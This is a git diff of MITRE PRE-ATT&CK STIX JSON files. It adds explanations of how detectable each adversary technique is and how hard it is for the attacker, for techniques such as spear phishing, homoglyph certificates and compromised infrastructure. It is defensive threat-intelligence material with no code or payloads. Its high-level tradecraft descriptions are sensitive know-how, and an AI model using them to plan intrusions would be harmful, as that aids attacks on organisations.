diff --git a/pre-attack/attack-pattern/attack-pattern--df42286d-dfbd-4455-bc9d-aef52ac29aa7.json b/pre-attack/attack-pattern/attack-pattern--df42286d-dfbd-4455-bc9d-aef52ac29aa7.json
index 9ce13cc05b..6fac1d64a5 100644
--- a/pre-attack/attack-pattern/attack-pattern--df42286d-dfbd-4455-bc9d-aef52ac29aa7.json
+++ b/pre-attack/attack-pattern/attack-pattern--df42286d-dfbd-4455-bc9d-aef52ac29aa7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f947fe5f-e4a2-47ec-90dd-4d6794baf4b5",
+    "id": "bundle--91e84a0d-6f0a-4ef1-ab4f-de1418045d1f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--df42286d-dfbd-4455-bc9d-aef52ac29aa7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Post compromise tool development",
-            "description": "After compromise, an adversary may utilize additional tools to facilitate their end goals. This may include tools to further explore the system, move laterally within a network, exfiltrate data, or destroy data. (Citation: SofacyHits)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "After compromise, an adversary may utilize additional tools to facilitate their end goals. This may include tools to further explore the system, move laterally within a network, exfiltrate data, or destroy data. (Citation: SofacyHits)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary will likely use code repositories, but development will be performed on their local systems.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Post compromise tool development is a standard part of the adversary's protocol in developing the necessary tools required to completely conduct an attack.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Adversary will likely use code repositories, but development will be performed on their local systems.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Post compromise tool development is a standard part of the adversary's protocol in developing the necessary tools required to completely conduct an attack."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--dfa4eaf4-50d9-49de-89e9-d33f579f3e05.json b/pre-attack/attack-pattern/attack-pattern--dfa4eaf4-50d9-49de-89e9-d33f579f3e05.json
index 77dbd3bfda..bf5b2ef323 100644
--- a/pre-attack/attack-pattern/attack-pattern--dfa4eaf4-50d9-49de-89e9-d33f579f3e05.json
+++ b/pre-attack/attack-pattern/attack-pattern--dfa4eaf4-50d9-49de-89e9-d33f579f3e05.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--15138159-5297-4e6e-a1a0-8f5ed3893c99",
+    "id": "bundle--cc69c7ed-91bd-42af-a92a-a7525fe37799",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--dfa4eaf4-50d9-49de-89e9-d33f579f3e05",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Determine 3rd party infrastructure services",
-            "description": "A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available as 3rd party infrastructure services. These services could provide an adversary with another avenue of approach or compromise. (Citation: LUCKYCAT2012) (Citation: Schneier-cloud) (Citation: Computerworld-suppliers)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available as 3rd party infrastructure services. These services could provide an adversary with another avenue of approach or compromise. (Citation: LUCKYCAT2012) (Citation: Schneier-cloud) (Citation: Computerworld-suppliers)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary searches publicly available sources and may find this information on the 3rd party web site listing new customers/clients.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Press releases may reveal this information particularly when it is an expected cost savings or improvement for scalability/reliability.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -40,7 +40,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Adversary searches publicly available sources and may find this information on the 3rd party web site listing new customers/clients.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Press releases may reveal this information particularly when it is an expected cost savings or improvement for scalability/reliability."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--e042a41b-5ecf-4f3a-8f1f-1b528c534772.json b/pre-attack/attack-pattern/attack-pattern--e042a41b-5ecf-4f3a-8f1f-1b528c534772.json
index 47948f0d97..ff52019f04 100644
--- a/pre-attack/attack-pattern/attack-pattern--e042a41b-5ecf-4f3a-8f1f-1b528c534772.json
+++ b/pre-attack/attack-pattern/attack-pattern--e042a41b-5ecf-4f3a-8f1f-1b528c534772.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--422d25b8-ccbd-4ff6-b899-27ca4afed4b4",
+    "id": "bundle--d8f61c49-216b-425d-950e-d0c6791b5479",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--e042a41b-5ecf-4f3a-8f1f-1b528c534772",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Test malware in various execution environments",
-            "description": "Malware may perform differently on different platforms (computer vs handheld) and different operating systems ([http://www.ubuntu.com Ubuntu] vs [http://www.apple.com/osx/ OS X]), and versions ([http://windows.microsoft.com Windows] 7 vs 10) so malicious actors will test their malware in the environment(s) where they most expect it to be executed. (Citation: BypassMalwareDefense)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Malware may perform differently on different platforms (computer vs handheld) and different operating systems ([http://www.ubuntu.com Ubuntu] vs [http://www.apple.com/osx/ OS X]), and versions ([http://windows.microsoft.com Windows] 7 vs 10) so malicious actors will test their malware in the environment(s) where they most expect it to be executed. (Citation: BypassMalwareDefense)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary controls the test and defender likely has no visibility.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary can simulate most environments (e.g., variable operating systems, patch levels, application versions) with details available from other techniques.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Adversary controls the test and defender likely has no visibility.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Adversary can simulate most environments (e.g., variable operating systems, patch levels, application versions) with details available from other techniques."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--e24a9f99-cb76-42a3-a50b-464668773e97.json b/pre-attack/attack-pattern/attack-pattern--e24a9f99-cb76-42a3-a50b-464668773e97.json
index 63cbfa3161..503c8f5e89 100644
--- a/pre-attack/attack-pattern/attack-pattern--e24a9f99-cb76-42a3-a50b-464668773e97.json
+++ b/pre-attack/attack-pattern/attack-pattern--e24a9f99-cb76-42a3-a50b-464668773e97.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c19998db-0095-4d7d-866d-3e6df32b4f92",
+    "id": "bundle--253ba537-841c-42fe-9909-87485859587c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--e24a9f99-cb76-42a3-a50b-464668773e97",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Spear phishing messages with malicious attachments",
-            "description": "Emails with malicious attachments are designed to get a user to open/execute the attachment in order to deliver malware payloads. (Citation: APT1)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: Yes",
+            "description": "Emails with malicious attachments are designed to get a user to open/execute the attachment in order to deliver malware payloads. (Citation: APT1)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Many technologies exist to scan content and/or emulate a workstation prior to the target receiving and executing the attachment (detonation chambers) in order to reduce malicious emails and attachments being delivered to the intended target.  However, encryption continues to be a stumbling block.  In addition, there are a variety of commercial technologies available that enable users to screen for phishing messages and which are designed to enhance email security.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Sending the emails is the simple part, ensuring they make it to the target (e.g., not being filtered) may be challenging.  Over time, an adversary refines their techniques to minimize detection by making their emails seem legitimate in structure and content.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Many technologies exist to scan content and/or emulate a workstation prior to the target receiving and executing the attachment (detonation chambers) in order to reduce malicious emails and attachments being delivered to the intended target.  However, encryption continues to be a stumbling block.  In addition, there are a variety of commercial technologies available that enable users to screen for phishing messages and which are designed to enhance email security.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Sending the emails is the simple part, ensuring they make it to the target (e.g., not being filtered) may be challenging.  Over time, an adversary refines their techniques to minimize detection by making their emails seem legitimate in structure and content."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--e2aa077d-60c9-4de5-b015-a9c382877cd9.json b/pre-attack/attack-pattern/attack-pattern--e2aa077d-60c9-4de5-b015-a9c382877cd9.json
index 744c29a535..ff50ba597b 100644
--- a/pre-attack/attack-pattern/attack-pattern--e2aa077d-60c9-4de5-b015-a9c382877cd9.json
+++ b/pre-attack/attack-pattern/attack-pattern--e2aa077d-60c9-4de5-b015-a9c382877cd9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fc32318d-5fc4-4f20-9e18-a0229696c16d",
+    "id": "bundle--6478de2e-64d1-4fd9-954a-4ceac46f2bd7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--e2aa077d-60c9-4de5-b015-a9c382877cd9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Assess opportunities created by business deals",
-            "description": "During mergers, divestitures, or other period of change in joint infrastructure or business processes there may be an opportunity for exploitation. During this type of churn, unusual requests, or other non standard practices may not be as noticeable. (Citation: RossiMergers) (Citation: MeidlHealthMergers)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
+            "description": "During mergers, divestitures, or other period of change in joint infrastructure or business processes there may be an opportunity for exploitation. During this type of churn, unusual requests, or other non standard practices may not be as noticeable. (Citation: RossiMergers) (Citation: MeidlHealthMergers)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Most of this activity would target partners and business processes.  Partners would not report.  Difficult to tie this activity to a cyber attack.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Mapping joint infrastructure and business processes is difficult without insider knowledge or SIGINT capability.  While a merger creates and opportunity to exploit potentially cumbersome or sloppy business processes, advance notice of a merger is difficult; merger information is typically close-hold until the deal is done.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "Most of this activity would target partners and business processes.  Partners would not report.  Difficult to tie this activity to a cyber attack.",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "Mapping joint infrastructure and business processes is difficult without insider knowledge or SIGINT capability.  While a merger creates and opportunity to exploit potentially cumbersome or sloppy business processes, advance notice of a merger is difficult; merger information is typically close-hold until the deal is done."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--e34b9ca1-8778-41a3-bba5-8edaab4076dc.json b/pre-attack/attack-pattern/attack-pattern--e34b9ca1-8778-41a3-bba5-8edaab4076dc.json
index ae2b3211e3..cff0cefec7 100644
--- a/pre-attack/attack-pattern/attack-pattern--e34b9ca1-8778-41a3-bba5-8edaab4076dc.json
+++ b/pre-attack/attack-pattern/attack-pattern--e34b9ca1-8778-41a3-bba5-8edaab4076dc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fd4a4fc3-63a7-4639-a9e2-71c9cd2b7b57",
+    "id": "bundle--434d249f-9229-485f-b557-4d91addc3b93",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--e34b9ca1-8778-41a3-bba5-8edaab4076dc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "SSL certificate acquisition for domain",
-            "description": "Certificates are designed to instill trust. They  include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. Acquiring a certificate for a  domain name similar to one that is expected to be trusted may allow an adversary to trick a user in to trusting the domain (e.g., vvachovia instead of [https://www.wellsfargo.com/about/corporate/wachovia/ Wachovia] -- homoglyphs). (Citation: SubvertSSL) (Citation: PaypalScam)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: Yes",
+            "description": "Certificates are designed to instill trust. They  include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. Acquiring a certificate for a  domain name similar to one that is expected to be trusted may allow an adversary to trick a user in to trusting the domain (e.g., vvachovia instead of [https://www.wellsfargo.com/about/corporate/wachovia/ Wachovia] -- homoglyphs). (Citation: SubvertSSL) (Citation: PaypalScam)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Defender can monitor for domains similar to popular sites (possibly leverage [https://www.alexa.com Alexa] top ''N'' lists as starting point).\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: SSL certificates are readily available at little to no cost.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Defender can monitor for domains similar to popular sites (possibly leverage [https://www.alexa.com Alexa] top ''N'' lists as starting point).",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "SSL certificates are readily available at little to no cost."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--e51398e6-53dc-4e9f-a323-e54683d8672b.json b/pre-attack/attack-pattern/attack-pattern--e51398e6-53dc-4e9f-a323-e54683d8672b.json
index 64d561100d..08af78cd66 100644
--- a/pre-attack/attack-pattern/attack-pattern--e51398e6-53dc-4e9f-a323-e54683d8672b.json
+++ b/pre-attack/attack-pattern/attack-pattern--e51398e6-53dc-4e9f-a323-e54683d8672b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f92a7289-ca22-4700-980a-082dd26ebdee",
+    "id": "bundle--ec1aa39e-b7c7-4e3f-879d-148746599d46",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--e51398e6-53dc-4e9f-a323-e54683d8672b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Compromise 3rd party infrastructure to support delivery",
-            "description": "Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle. (Citation: WateringHole2014) (Citation: Operation SnowMan)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle. (Citation: WateringHole2014) (Citation: Operation SnowMan)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not have visibility on 3rd party sites unless target is successfully enticed to visit one.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Commonly used technique currently (e.g., [https://www.wordpress.com WordPress] sites) as precursor activity to launching attack against intended target (e.g., acquiring botnet or layers of proxies for reducing attribution possibilities).",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Defender will not have visibility on 3rd party sites unless target is successfully enticed to visit one.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Commonly used technique currently (e.g., [https://www.wordpress.com WordPress] sites) as precursor activity to launching attack against intended target (e.g., acquiring botnet or layers of proxies for reducing attribution possibilities)."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--e5164428-03ca-4336-a9a7-4d9ea1417e59.json b/pre-attack/attack-pattern/attack-pattern--e5164428-03ca-4336-a9a7-4d9ea1417e59.json
index 1cf5c38bd8..e79c62f6d1 100644
--- a/pre-attack/attack-pattern/attack-pattern--e5164428-03ca-4336-a9a7-4d9ea1417e59.json
+++ b/pre-attack/attack-pattern/attack-pattern--e5164428-03ca-4336-a9a7-4d9ea1417e59.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--63708c85-4783-40a6-9c87-3dec7e44d05e",
+    "id": "bundle--e1b82d84-b078-47a3-9957-74135da2ed64",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--e5164428-03ca-4336-a9a7-4d9ea1417e59",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Acquire or compromise 3rd party signing certificates",
-            "description": "Code signing is the process of digitally signing executables or scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an signed piece of code even if they don't know who issued the certificate or who the author is. (Citation: Adobe Code Signing Cert)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
+            "description": "Code signing is the process of digitally signing executables or scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an signed piece of code even if they don't know who issued the certificate or who the author is. (Citation: Adobe Code Signing Cert)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not know what certificates an adversary acquires from a 3rd party. Defender will not know prior to public disclosure if a 3rd party has had their certificate compromised.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: It is trivial to purchase code signing certificates within an organization; many exist and are available at reasonable cost. It is complex to factor or steal 3rd party code signing certificates for use in malicious mechanisms",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "Defender will not know what certificates an adversary acquires from a 3rd party. Defender will not know prior to public disclosure if a 3rd party has had their certificate compromised.",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "It is trivial to purchase code signing certificates within an organization; many exist and are available at reasonable cost. It is complex to factor or steal 3rd party code signing certificates for use in malicious mechanisms"
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--e6ca2820-a564-4b74-b42a-b6bdf052e5b6.json b/pre-attack/attack-pattern/attack-pattern--e6ca2820-a564-4b74-b42a-b6bdf052e5b6.json
index 5d565432a4..85d9260201 100644
--- a/pre-attack/attack-pattern/attack-pattern--e6ca2820-a564-4b74-b42a-b6bdf052e5b6.json
+++ b/pre-attack/attack-pattern/attack-pattern--e6ca2820-a564-4b74-b42a-b6bdf052e5b6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7c3ddc6d-a8a3-4cac-96a6-e1facbaff73f",
+    "id": "bundle--42829cfd-8b08-4394-a0fb-60bbce831673",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--e6ca2820-a564-4b74-b42a-b6bdf052e5b6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Obfuscate infrastructure",
-            "description": "Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: LUCKYCAT2012)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: Yes",
+            "description": "Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: LUCKYCAT2012)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Difficult, but defender is well aware of technique and attempts to find discrepancies.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary has a variety of solutions, ranging in difficulty, that can be employed (e.g., BGP hijacking, tunneling, reflection, multi-hop, etc.)\nAdversary can also use misattributable credentials to obtain servers, build environment, [https://aws.amazon.com Amazon Web Services] (AWS) accounts, etc.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Difficult, but defender is well aware of technique and attempts to find discrepancies.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Adversary has a variety of solutions, ranging in difficulty, that can be employed (e.g., BGP hijacking, tunneling, reflection, multi-hop, etc.)\nAdversary can also use misattributable credentials to obtain servers, build environment, [https://aws.amazon.com Amazon Web Services] (AWS) accounts, etc."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--e754fa49-2db1-416b-92db-7f886decd099.json b/pre-attack/attack-pattern/attack-pattern--e754fa49-2db1-416b-92db-7f886decd099.json
index 153b8475b5..1e0994a664 100644
--- a/pre-attack/attack-pattern/attack-pattern--e754fa49-2db1-416b-92db-7f886decd099.json
+++ b/pre-attack/attack-pattern/attack-pattern--e754fa49-2db1-416b-92db-7f886decd099.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--de2ddb92-49e2-41c1-8b76-a85fff2bd109",
+    "id": "bundle--ec5c1319-0704-4c92-9d37-9f68788393af",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--e754fa49-2db1-416b-92db-7f886decd099",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Generate analyst intelligence requirements",
-            "description": "Analysts may receive Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from leadership or key decision makers and generate intelligence requirements to articulate intricacies of information required on a topic or question. (Citation: Herring1999)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Analysts may receive Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from leadership or key decision makers and generate intelligence requirements to articulate intricacies of information required on a topic or question. (Citation: Herring1999)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle.  May not be done by all adversaries.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle.  May not be done by all adversaries."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--e8471f43-2742-4fd7-9af7-8ed1330ada37.json b/pre-attack/attack-pattern/attack-pattern--e8471f43-2742-4fd7-9af7-8ed1330ada37.json
index af609695f6..a6022790f2 100644
--- a/pre-attack/attack-pattern/attack-pattern--e8471f43-2742-4fd7-9af7-8ed1330ada37.json
+++ b/pre-attack/attack-pattern/attack-pattern--e8471f43-2742-4fd7-9af7-8ed1330ada37.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--72d620fe-7874-4cb4-be69-2236b0bfc615",
+    "id": "bundle--f2ca50e9-29c1-41a9-8599-131d1a855d07",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--e8471f43-2742-4fd7-9af7-8ed1330ada37",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Upload, install, and configure software/tools",
-            "description": "An adversary may stage software and tools for use during later stages of an attack. The software and tools may be placed on systems legitimately in use by the adversary or may be placed on previously compromised infrastructure. (Citation: APT1) (Citation: RedOctober)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "An adversary may stage software and tools for use during later stages of an attack. The software and tools may be placed on systems legitimately in use by the adversary or may be placed on previously compromised infrastructure. (Citation: APT1) (Citation: RedOctober)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Infrastructure is (typically) outside of control/visibility of defender and as such as tools are staged for specific campaigns, it will not be observable to those being attacked.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], VPS providers).",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Infrastructure is (typically) outside of control/visibility of defender and as such as tools are staged for specific campaigns, it will not be observable to those being attacked.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], VPS providers)."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--eacadff4-164b-451c-bacc-7b29ebfd0c3f.json b/pre-attack/attack-pattern/attack-pattern--eacadff4-164b-451c-bacc-7b29ebfd0c3f.json
index b3cf22e61f..4358a35041 100644
--- a/pre-attack/attack-pattern/attack-pattern--eacadff4-164b-451c-bacc-7b29ebfd0c3f.json
+++ b/pre-attack/attack-pattern/attack-pattern--eacadff4-164b-451c-bacc-7b29ebfd0c3f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
